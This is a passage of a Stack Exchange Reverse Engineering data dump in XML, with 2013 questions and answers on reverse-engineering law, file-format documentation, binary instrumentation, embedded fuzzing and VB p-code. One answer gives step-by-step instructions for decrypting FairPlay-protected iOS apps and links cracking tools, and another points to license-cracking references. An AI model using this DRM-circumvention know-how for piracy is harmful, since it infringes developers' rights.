to copyright and not dealing with the CFAA). As @JMcAfreak wrote, the DMCA also applies, and my guess is that there are several other laws that could also potentially apply to your question in the US.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've learned after 8 weeks in this course is that you'd need to spend at least 12 weeks reading case law before really being able to answer the question you pose here. And as Aaron Swartz discovered, the stakes are incredibly high, and computer programmers and reverse engineers (who may routinely do some—potentially illegal—act thousands or millions of times through the use of a computer program) are especially vulnerable to multiple counts of illegal acts where the penalties add up very quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're considering doing something that makes you ask the question, then you also need to consider who might be most motivated to pursue you for illegal activity as a result, and if that's a wealthy individual or business entity, then you probably shouldn't risk it. If Shepard Fairey had used a reference photograph for &lt;a href=&quot;http://en.wikipedia.org/wiki/Shepard_Fairey#Legal_issues_with_appropriation_and_fair_use&quot;&gt;his Obama HOPE poster&lt;/a&gt; owned by an entity less affluent than the Associated Press, then I'm sure that situation would have ended very differently for him.&lt;/p&gt;&#xA;" OwnerUserId="1523" LastActivityDate="2013-04-05T01:34:54.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1582" PostTypeId="2" ParentId="1579" CreationDate="2013-04-05T01:40:11.880" Score="7" Body="&lt;p&gt;Concur with V and only throwing out some thoughts.&lt;/p&gt;&#xA;&lt;p&gt;In general would say that one, (of course), has to clearly denote holes&#xA;as black or gray. As in &lt;em&gt;&amp;quot;no idea&amp;quot;&lt;/em&gt; or &lt;em&gt;&amp;quot;several possibilities&amp;quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Beside file format specifications openly distributed I find the style&#xA;used by RFC's to be one I adapt frequently. All depending on context&#xA;using such things as &lt;a href=&quot;http://en.wikipedia.org/wiki/Augmented_Backus%E2%80%93Naur_Form&quot; rel=&quot;nofollow noreferrer&quot;&gt;Augmented Backus–Naur Form&lt;/a&gt; as shown &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc3986#appendix-A&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Use truth tables and logical expressions to assert unambiguity.&lt;/p&gt;&#xA;&lt;p&gt;Else there is e.g. &lt;a href=&quot;http://www.3gpp.org/ftp/Specs/html-info/23040.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;3GPP&lt;/a&gt; and the like which one also can learn from.&lt;/p&gt;&#xA;&lt;p&gt;If you want to go for the good ASCII style use tools like&#xA;&lt;a href=&quot;http://www.asciiflow.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;asciiflow&lt;/a&gt; for flow diagrams etc. Have found myself that using ASCII&#xA;often helps me writing more clear documents and split diagrams into&#xA;layers of more understandable form. Perhaps one can learn something from&#xA;&lt;a href=&quot;http://www.phrack.org/archives/63/p63_0x0b_Advanced%20antiforensics%20:%20SELF_by_ripe%20&amp;amp;%20pluf.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;phrack&lt;/a&gt; as well.&lt;/p&gt;&#xA;&lt;p&gt;If not plain text then LaTeX as it is very nice for organizing documents.&#xA;Separate out each section into own files that one include. Shuffling&#xA;around sections become easy as do indexing etc. And the product looks&#xA;great on paper. – This can of course also be done in some way with plain&#xA;text.&lt;/p&gt;&#xA;&lt;p&gt;As with any approach (I) always use Git and commit very frequently with&#xA;short concise comments.&lt;/p&gt;&#xA;" OwnerUserId="1568" LastEditorUserId="-1" LastEditDate="2021-10-07T06:47:20.403" LastActivityDate="2013-04-05T01:40:11.880" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1583" PostTypeId="2" ParentId="1579" CreationDate="2013-04-05T03:00:14.470" Score="4" Body="&lt;p&gt;In the past my reverse engineering efforts of file formats were &lt;em&gt;documented in source&lt;/em&gt;, i.e. &lt;a href=&quot;http://www.sweetscape.com/010editor/templates.html&quot; rel=&quot;nofollow&quot;&gt;010 Editor binary templates&lt;/a&gt;. If you know C, this is pretty descriptive, but it has its limitations and at times it can get a bit convoluted when trying to express certain more exotic concepts. Another issue with the tool as such is the slowness with larger scripts on larger files and the lack of an extension mechanism beyond the scripts and binary templates (such as plugins).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A widely used alternative, to mentioned &lt;a href=&quot;http://en.wikipedia.org/wiki/Augmented_Backus%E2%80%93Naur_Form&quot; rel=&quot;nofollow&quot;&gt;Augmented BNF&lt;/a&gt;, is &lt;a href=&quot;http://en.wikipedia.org/wiki/X.690&quot; rel=&quot;nofollow&quot;&gt;ASN.1&lt;/a&gt; (&lt;a href=&quot;http://en.wikipedia.org/w/index.php?title=X.690&amp;amp;oldid=546054870&quot; rel=&quot;nofollow&quot;&gt;permalink&lt;/a&gt;). I prefer the BER encoding (see previous link to Wikipedia article), but your mileage may vary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For graphical representations I have used LaTeX (with &lt;a href=&quot;http://www.tug.org/texlive/Contents/live/texmf-dist/doc/latex/bytefield/bytefield.pdf&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bytefield&lt;/code&gt;&lt;/a&gt;, PDF) and Visio.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-04-05T03:00:14.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1584" PostTypeId="1" AcceptedAnswerId="1585" CreationDate="2013-04-05T03:42:38.057" Score="7" ViewCount="667" Body="&lt;p&gt;Generally, it's a complex topic.  There seems to be very little in the way of example or linear progression in to non-trivial examples.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible my google-fu is weak, but I can't seem to locate decent tutorials on using binary instrumentation frameworks (Pin, DynamoRIO, other).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What resources could someone who is interested use beyond stumbling around until they get it working?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some of the answers, I thought I should tack on that dynamorio.org is sometimes non-responsive.  The project is on googlecode &lt;a href=&quot;https://code.google.com/p/dynamorio/downloads/list&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.  &lt;/p&gt;&#xA;" OwnerUserId="1536" LastEditorUserId="1536" LastEditDate="2013-04-07T13:15:41.487" LastActivityDate="2013-04-07T13:15:41.487" Title="Where can someone interested in the topic learn more about Dynamic binary instrumentation?" Tags="|dynamic-analysis|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1585" PostTypeId="2" ParentId="1584" CreationDate="2013-04-05T05:06:25.780" Score="8" Body="&lt;p&gt;There is a nice introduction on PIN at &lt;a href=&quot;http://www.slideshare.net/null0x00/nullcon-2011-automatic-program-analysis-using-dynamic-binary-instrumentation&quot;&gt;http://www.slideshare.net/null0x00/nullcon-2011-automatic-program-analysis-using-dynamic-binary-instrumentation&lt;/a&gt; also a nice tutorial on Skype for Linux simple unpacking using Pin &lt;a href=&quot;http://joxeankoret.com/blog/2012/11/04/a-simple-pin-tool-unpacker-for-the-linux-version-of-skype/&quot;&gt;http://joxeankoret.com/blog/2012/11/04/a-simple-pin-tool-unpacker-for-the-linux-version-of-skype/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally an old presentation that you might like also, &quot;Using the Pin Instrumentation Tool for Computer Architecture Research&quot; &lt;a href=&quot;http://www.jaleels.org/ajaleel/Pin/slides/1_Intro.ppt&quot;&gt;http://www.jaleels.org/ajaleel/Pin/slides/1_Intro.ppt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1344" LastActivityDate="2013-04-05T05:06:25.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1586" PostTypeId="2" ParentId="1560" CreationDate="2013-04-05T05:44:59.223" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://www.nationalarchives.gov.uk/information-management/our-services/dc-file-profiling-tool.htm&quot; rel=&quot;nofollow&quot;&gt;DROID&lt;/a&gt; from the National Archives of the Uk is also useful for identifying file formats. &lt;/p&gt;&#xA;" OwnerUserId="1574" LastActivityDate="2013-04-05T05:44:59.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1588" PostTypeId="2" ParentId="1584" CreationDate="2013-04-05T07:56:33.990" Score="5" Body="&lt;p&gt;&lt;a href=&quot;https://twitter.com/skier_t&quot;&gt;Jurriaan Bremer&lt;/a&gt; wrote at least two articles that can be quite informing regaring Pin which can serve as a nice introduction. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://jbremer.org/detecting-uninitialized-memory-read-access-bugs-using-pin-a-la-valgrind/&quot;&gt;Detecting Uninitialized Memory Read Access Bugs using Pin (a la Valgrind)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://jbremer.org/malware-unpacking-level-pintool/&quot;&gt;Malware Unpacking Level: Pintool&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="304" LastActivityDate="2013-04-05T07:56:33.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1589" PostTypeId="2" ParentId="1584" CreationDate="2013-04-05T08:04:42.277" Score="0" Body="&lt;p&gt;PIN and DynamoRIO both have complete documentation with many examples that are fully commented.&#xA;I think best place to start is to play with examples, modify them and see the result.&lt;/p&gt;&#xA;" OwnerUserId="1483" LastEditorUserId="53" LastEditDate="2013-04-05T14:05:08.360" LastActivityDate="2013-04-05T14:05:08.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1590" PostTypeId="2" ParentId="1572" CreationDate="2013-04-05T08:36:51.013" Score="5" Body="&lt;p&gt;I think that the problem is a misunderstanding of how the Proximity Viewer works. It will not clear out all the other nodes in the graph when finding a path: it simply finds a path and adds the required nodes to the graph. If you want to view only the nodes between AllocateVolume and CompareVolumeComponents, do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Navigate to AllocateVolume and press '-'.&lt;/li&gt;&#xA;&lt;li&gt;Right click on the center node AllocateVolume and select &quot;Collapse  children&quot;, then, &quot;Collapse parents&quot; as well.&lt;/li&gt;&#xA;&lt;li&gt;Then, right click outside this node in the proximity view and select &quot;Add name&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Find &quot;CompareVolumeComponents&quot; and add it.&lt;/li&gt;&#xA;&lt;li&gt;After this step, right click on the AllocateVolume node, select &quot;Find Path&quot; and select the only other available node.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If everything goes OK, you will have a graph with only the functions required to display a path from AllocateVolume to CompareVolumeComponents. If it does not, there may be some problem with the current code of the Proximity Viewer (in that case, please contact support at Hex-Rays for a fix). Also, you may want to take a look to the &quot;callgraph&quot; plugin in the SDK: the algorithm to find paths is pretty much the same and you may get an idea about why it isn't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note, a little explanation of how the PV works: The algorithm does not consider a path only calls/jmps as (Q)WinGraph32 does (IIRC) but also consider a path when there are data references. If a function A references, in any way, function B, then the proximity viewer will show that reference (with a gray edge instead of a blue edge). BTW, I'm the guy who wrote it.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2013-04-05T08:36:51.013" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1591" PostTypeId="2" ParentId="1584" CreationDate="2013-04-05T08:45:01.280" Score="5" Body="&lt;p&gt;If you've never touched DBI before, I found &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1608454584&quot;&gt;this book&lt;/a&gt; to be a good use of $17.  Written by a long-time researcher in the field, it describes the theory and practice behind DBI, including multiple DBI platforms, exotic DBI tools, etc.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-04-05T08:45:01.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1592" PostTypeId="1" CreationDate="2013-04-05T08:55:48.207" Score="15" ViewCount="4041" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Fuzz_testing&quot;&gt;Fuzzing&lt;/a&gt; has become a very common place technique used for software testing and is heavily used to find security problems. There are many frameworks (&lt;a href=&quot;https://github.com/OpenRCE/sulley&quot;&gt;sully&lt;/a&gt;, &lt;a href=&quot;http://peachfuzzer.com/&quot;&gt;Peach Fuzzer&lt;/a&gt; etc.) that are geared up for fuzzing large, complex software systems. I have not found much information about fuzzing of smaller, simpler embedded systems (generally those that are small and simple enough to not run an OS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These small systems are found everywhere - RFID card readers, burglar alarm systems, keyless entry systems, engine control units, HVAC controls, and so on. They frequently have very limited inputs and outputs (buttons, keypads, small character displays, LEDs, buzzers, RF communications). Complex networking (Ethernet, TCP/IP), serial ports etc. are rare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had good success employing fuzzing like techniques to find security problems and see how the system behaves. Currently, this has largely comprised of fuzzing the formatting of packets sent into the system, based on observations of genuine packets. Some examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Using fuzzing to determine the structure of packets - sometimes you know&#xA;the approximate packet format, but things like ID bits, checksums&#xA;etc. are not always certain if you only have a small number of&#xA;genuine devices or sampled transmissions. &lt;/li&gt;&#xA;&lt;li&gt;Finding problems in packet&#xA;decoding when packets are longer than expected - simple things like&#xA;setting variable packet lengths to higher than expected values.&lt;/li&gt;&#xA;&lt;li&gt;Finding limits of acceptable transmissions - things like&#xA;retransmission are common in one-way RF systems. What is the smallest&#xA;number of packets that will register as a correct transmission? How&#xA;much can we vary the baud rate (i.e. is there good clock recovery in&#xA;the receiver). &lt;/li&gt;&#xA;&lt;li&gt;Finding the limits of jamming detection. How far can&#xA;we push the system before jamming is detected? Finding undocumented&#xA;features - for example, if 00 is arm, 01 is disarm, 10 is part-arm,&#xA;what does 11 do?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;One of the biggest challenges I have found is methods to detect the state of the system. This has generally ended up with a hodge-podge of outputs taken from LEDs, LCD buses and so on. I have been using Arduino and Arduino-like boards for the inputs and outputs (generally a &lt;a href=&quot;http://www.pjrc.com/teensy/&quot;&gt;Teensy 2.0&lt;/a&gt;). I also often need to include a method to power cycle the system in the event of a crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have been surprised by is that I cannot find many others performing work or research in this area. I'm largely making this up as I go along.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Are there any resources out there along these lines? &lt;/li&gt;&#xA;&lt;li&gt;Can any of the complex fuzzing frameworks be used for this application?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(as an aside, I don't think this is a failure to google. Similar concepts include &quot;glitching&quot; and &quot;fault injection&quot;, but I believe this to be distinct)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen this training available:&#xA;&lt;a href=&quot;https://www.blackhat.com/us-13/training/peach-fuzzer-embedded-edition.html&quot;&gt;https://www.blackhat.com/us-13/training/peach-fuzzer-embedded-edition.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1388" LastEditorUserId="1388" LastEditDate="2013-04-05T14:17:53.973" LastActivityDate="2018-11-11T00:00:10.257" Title="Where can I learn more about black-box fuzzing of small embedded systems?" Tags="|hardware|fuzzing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1593" PostTypeId="2" ParentId="1560" CreationDate="2013-04-05T09:19:43.193" Score="2" Body="&lt;p&gt;Most file formats have headers, such as &lt;code&gt;P K 0x03 0x04&lt;/code&gt; for zip files or &lt;code&gt;0x89 P N G 0x0D 0x0A 0x1A 0x0A&lt;/code&gt; for PNG files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, most of time, you just need to read the first bytes to know the format of the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll find plenty of file format descriptions on &lt;a href=&quot;http://www.fileformat.info/format/all.htm&quot; rel=&quot;nofollow&quot;&gt;http://www.fileformat.info/format/all.htm&lt;/a&gt;&#xA;­­­&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="1580" LastEditDate="2013-04-05T15:57:18.717" LastActivityDate="2013-04-05T15:57:18.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1594" PostTypeId="1" AcceptedAnswerId="1601" CreationDate="2013-04-05T10:55:56.913" Score="71" ViewCount="142645" Body="&lt;p&gt;I browsed a lot, but can't find any resources for reverse engineering an IPA file (iPhone application). Is there any method to reverse engineer an IPA file to its source? I've tried to rename it to zip and open it via Winrar/Winzip to view its source, but it doesn't seem helpful.&lt;/p&gt;&#xA;&lt;p&gt;What are the possibilities to decompile/reverse engineer an IPA file to its source code?&lt;/p&gt;&#xA;" OwnerUserId="1581" LastEditorUserId="39029" LastEditDate="2021-11-07T10:02:31.443" LastActivityDate="2022-10-30T06:57:35.493" Title="What are the possibilities for reverse engineering an IPA file to its source?" Tags="|decompilation|ios|" AnswerCount="7" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="1595" PostTypeId="2" ParentId="1567" CreationDate="2013-04-05T10:57:47.757" Score="4" Body="&lt;p&gt;CrackZ still has one of the best references on FLEXlm.&#xA;&lt;a href=&quot;http://www.woodmann.com/crackz/&quot; rel=&quot;nofollow&quot;&gt;http://www.woodmann.com/crackz/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That stuff went thru a couple of iterations. The documents there are mostly Windows stuff but they are helpful to understand the whole system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck on that project, should be fun to crack for Sparc :-)&lt;/p&gt;&#xA;" OwnerUserId="1338" LastActivityDate="2013-04-05T10:57:47.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1596" PostTypeId="1" AcceptedAnswerId="1600" CreationDate="2013-04-05T11:01:41.030" Score="5" ViewCount="5938" Body="&lt;p&gt;Is reverse engineering an application the same as decompiling it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the core difference between reverse engineering an application and decompiling an application.&lt;/p&gt;&#xA;" OwnerUserId="1581" LastEditorUserId="189" LastEditDate="2013-04-05T14:23:35.373" LastActivityDate="2014-03-10T13:56:27.097" Title="Are reverse engineering and decompilation the same?" Tags="|decompilation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1597" PostTypeId="1" AcceptedAnswerId="1602" CreationDate="2013-04-05T11:06:41.193" Score="15" ViewCount="38437" Body="&lt;p&gt;p-code is the intermediate code that was used in Visual Basic (before .NET). I would like to know where I can find resources/tools related to analysis of these virtual machine codes. &lt;/p&gt;&#xA;" OwnerUserId="1571" LastEditorUserId="151" LastEditDate="2013-04-05T13:43:55.803" LastActivityDate="2022-08-14T17:03:47.813" Title="Reverse engineering a Visual Basic p-code binary" Tags="|decompilation|visual-basic|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1598" PostTypeId="2" ParentId="1597" CreationDate="2013-04-05T11:17:22.613" Score="6" Body="&lt;p&gt;A very comprehensive resource on the p-code was on the site of vb vb-decompiler. Luckily there is a backup in the wayback machine, link &lt;a href=&quot;http://web.archive.org/web/20101127044116/http://vb-decompiler.com/pcode/opcodes.php?t=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1366" LastEditorUserId="8200" LastEditDate="2022-08-14T17:03:47.813" LastActivityDate="2022-08-14T17:03:47.813" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1599" PostTypeId="2" ParentId="1596" CreationDate="2013-04-05T11:25:34.883" Score="3" Body="&lt;p&gt;Reverse engineer is more general: you want to understand, in your own terms, what a binary does. E.g. this could lead to a description of what it does, maybe with a simulation of what (part of it) does. Decompile is to produce source code that (when compiled) gives you back the &quot;same&quot; binary, which is a much harder task in general.  &lt;/p&gt;&#xA;" OwnerUserId="1517" LastActivityDate="2013-04-05T11:25:34.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1600" PostTypeId="2" ParentId="1596" CreationDate="2013-04-05T11:30:07.127" Score="11" Body="&lt;p&gt;Decompilation is just one method of reverse engineering.&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;/questions/tagged/decompilation&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;decompilation&amp;#39;&quot; rel=&quot;tag&quot;&gt;decompilation&lt;/a&gt; description:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Decompiling is the process of analyzing an executable or object code binary and outputting source code in a programming language such as C. The process involves translating a file from a low level of abstraction to a higher level of abstraction.&lt;/p&gt;&#xA;&lt;p&gt;Decompilation is usually carried out using a decompiler.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;From &lt;a href=&quot;http://en.wikipedia.org/wiki/Reverse_engineering&quot; rel=&quot;noreferrer&quot;&gt;Wikipedia's article on reverse engineering&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Reverse engineering is the process of discovering the technological principles of a device, object, or system through analysis of its structure, function, and operation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Software can be reverse engineered and decompiled. A lot of other things (such as hardware, door locks) can be reverse engineered but not decompiled, because their software/firmware is written in low level languages without a higher-level representation, or, more radically, they don't &lt;em&gt;have&lt;/em&gt; any firmware in the first place.&lt;/p&gt;&#xA;" OwnerUserId="262" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-04-05T11:30:07.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1601" PostTypeId="2" ParentId="1594" CreationDate="2013-04-05T11:30:22.610" Score="69" Body="&lt;p&gt;If the IPA file is straight from iTunes/iPhone (without any modification), the code section in the binary (as indicated by the Info.plist) is encrypted with FairPlay (Apple's proprietary DRM). If you are unsure, you can check whether the cryptid bit is set with otool (see &lt;a href=&quot;https://stackoverflow.com/questions/7038143/executable-encryption-check-anti-piracy-measure&quot;&gt;this page&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;otool -arch armv7 -l thebinary | grep crypt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(where thebinary is the executable binary - see the app's Info.plist, CFBundleExecutable key)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Pre Decryption:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;if cryptid is 0, you can proceed on to the &lt;em&gt;Post Decryption&lt;/em&gt; section. Otherwise, you will need to decrypt the app. The typical method in brief (with a jailbroken iOS device) is to&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install otool, gdb and ldid from Cydia&lt;/li&gt;&#xA;&lt;li&gt;Install the IPA on an &lt;em&gt;authorized&lt;/em&gt; device&lt;/li&gt;&#xA;&lt;li&gt;Run otool on the binary to get information such as the size of the encrypted payload&lt;/li&gt;&#xA;&lt;li&gt;Launch the app and suspend it immediately&lt;/li&gt;&#xA;&lt;li&gt;Use gdb to dump the payload (beginning from 0x2000) &lt;code&gt;gdb -p &amp;lt;process id&amp;gt;&lt;/code&gt; then &lt;code&gt;dump output.bin 0x2000 0xNNNN&lt;/code&gt; where NNNN is the sum of the beginning (0x2000) and the payload size&lt;/li&gt;&#xA;&lt;li&gt;Create a new file, using the first 0x1000 bytes of the original binary, and appended with the dump file&lt;/li&gt;&#xA;&lt;li&gt;Use ldid to sign the new binary, and change the cryptid to 0 (so that iOS won't decrypt the decrypted app again)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;There are many tools of dubious purposes (piracy) which automates the process, however the above is the gist of how the process is done.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Post Decryption:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can begin reverse engineering the code when you have access to an unencrypted copy of the binary.&lt;/p&gt;&#xA;&lt;p&gt;One possible tool is IDA Pro (Free version does not support ARM).&#xA;It may still be quite messy since much of iOS's code works with objc_sendMsg(). This IDA plugin may help: &lt;a href=&quot;https://github.com/zynamics/objc-helper-plugin-ida&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/zynamics/objc-helper-plugin-ida&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When you are patching functions, an easier way to work (if you know Objective-C) is to use MobileSubstrate to hook the relevant functions. See Dustin Howett's &lt;a href=&quot;https://www.google.com/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=2&amp;amp;cad=rja&amp;amp;ved=0CDoQFjAB&amp;amp;url=https://github.com/DHowett/theos&amp;amp;ei=hbVeUbTbBtCzrAfg3oHwDA&amp;amp;usg=AFQjCNGzNmTvG_B3OpbEMTsHt_nNMzz15w&amp;amp;bvm=bv.44770516,d.bmk&quot; rel=&quot;nofollow noreferrer&quot;&gt;theos&lt;/a&gt; if you would like to try this method.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Useful Links:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;More about the decryption process: &lt;a href=&quot;http://iphonedevwiki.net/index.php/Crack_prevention&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://iphonedevwiki.net/index.php/Crack_prevention&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Getting otool: &lt;a href=&quot;https://apple.stackexchange.com/questions/21256/i-cant-find-otool-on-my-jailbroken-ipod&quot;&gt;https://apple.stackexchange.com/questions/21256/i-cant-find-otool-on-my-jailbroken-ipod&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Signing with ldid (since the original signature is made invalid after editing) &lt;a href=&quot;http://www.saurik.com/id/8&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.saurik.com/id/8&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;For newer devices&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Some of the tools (gdb in my base) are not working reliably on the iPhone 5S / iOS7. Currently a method that works is to use a popular open-source cracking software &lt;a href=&quot;https://github.com/KJCracks/Clutch/releases&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;Clutch&amp;quot;&lt;/a&gt;. The actual cracking process can be found here:&#xA;&lt;a href=&quot;https://github.com/KJCracks/Clutch/blob/master/Clutch/Binary.m&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/KJCracks/Clutch/blob/master/Clutch/Binary.m&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;iOS 11&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bishop Fox's &lt;a href=&quot;https://github.com/BishopFox/bfdecrypt&quot; rel=&quot;nofollow noreferrer&quot;&gt;bfdecrypt&lt;/a&gt;, used together with their &lt;a href=&quot;https://github.com/BishopFox/bfinject&quot; rel=&quot;nofollow noreferrer&quot;&gt;bfinject&lt;/a&gt; should work for iOS 11.&lt;/p&gt;&#xA;" OwnerUserId="171" LastEditorUserId="37264" LastEditDate="2021-06-20T10:41:03.703" LastActivityDate="2021-06-20T10:41:03.703" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="1602" PostTypeId="2" ParentId="1597" CreationDate="2013-04-05T11:43:56.807" Score="16" Body="&lt;p&gt;Alex Ionescu, co-author of the latest &quot;Windows Internals&quot; book and contributor to ReactOS, wrote a good paper on the topic of VB decompilation quite a while ago. Here the &lt;a href=&quot;http://web.archive.org/web/20071020232030/http://www.alex-ionescu.com/vb.pdf&quot; rel=&quot;noreferrer&quot;&gt;direct link to the PDF&lt;/a&gt; (originally from &lt;code&gt;http://www.alex-ionescu.com/vb.pdf&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The paper documents the structures and constants of the file format itself and probably goes a long way in accompanying the information on &lt;a href=&quot;http://web.archive.org/web/20101127044116/http://vb-decompiler.com/pcode/opcodes.php?t=1&quot; rel=&quot;noreferrer&quot;&gt;the opcode list from the other answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2015-01-19T06:57:11.410" LastActivityDate="2015-01-19T06:57:11.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1603" PostTypeId="1" AcceptedAnswerId="1606" CreationDate="2013-04-05T12:46:18.960" Score="10" ViewCount="5808" Body="&lt;p&gt;There is an old help file containing Windows API I used few years ago with ollydebug, which can jump to the appropriate help page of function when double clicking on the function in the disassembly window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a more recent reference like this which includes also Windows 7 library calls ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to find an online reference in Microsoft website but a local file is much easier to work with...&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="60" LastEditDate="2013-04-05T19:32:01.347" LastActivityDate="2013-04-05T19:32:01.347" Title="Windows API reference for OllyDbg" Tags="|winapi|ollydbg|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
